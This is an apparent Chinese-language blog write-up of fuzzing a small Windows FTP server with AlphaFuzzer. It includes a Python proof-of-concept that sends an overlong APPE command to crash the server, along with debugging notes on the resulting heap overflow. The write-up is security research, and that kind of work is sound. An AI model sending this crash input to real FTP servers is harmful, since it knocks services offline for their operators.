一次ftp fuzzing

前言

第一次嘗試ftp fuzzing,然後其中遇到很多問題,和大家探討下。
目標程序是守望迷你FTP服務器,網上可以搜到,fuzzing工具是天融信的AlphaFuzzer。

配置完ftp
這裏寫圖片描述
直接用AlphaFuzzer中的ftpfuzz功能,出現可能的poc指令。

這裏寫圖片描述
因爲最後要寫成poc,所以我這邊直接寫成python。

import socket,sys
def ftp_test(ip,port,user,passwd):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        connect=s.connect((ip,port))
        print '[+] Connected!'
    except:
        print '[!] Connected failed!'
        exit(0)
    print s.recv(1024)
    s.send('USER %s\r\n'%user)
    print s.recv(1024)
    s.send('PASS %s\r\n'%passwd)
    print s.recv(1024)
    s.send('APPE '+'./A'*102+'\r\n')
    #s.send('CWD '+'a'*272+'\r\n')
    try:
        print s.recv(1024)
        print 'failed'
    except:
        print 'ok'
    s.close()

if __name__ == '__main__':
    ftp_test('127.0.0.1',21,'admin','123456')

然後進行調試ftp,找出溢出利用的方法。簡單分後發現守望ftp是由php寫成的,加了upx殼,php能寫桌面這塊還不是很瞭解。
脫殼後,分析後直接找到recv函數,在php_sockets.dll的0x56E8處直接斷點。
這裏寫圖片描述
分析發現溢出存在偶然性,每次accept一次,ftp則會創建一個堆,每次recv 0x210 byte,而在malloc的地址在棧的上面的時候,纔有可能觸發異常,所以想要真正利用這個溢出點還是比較困難的。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章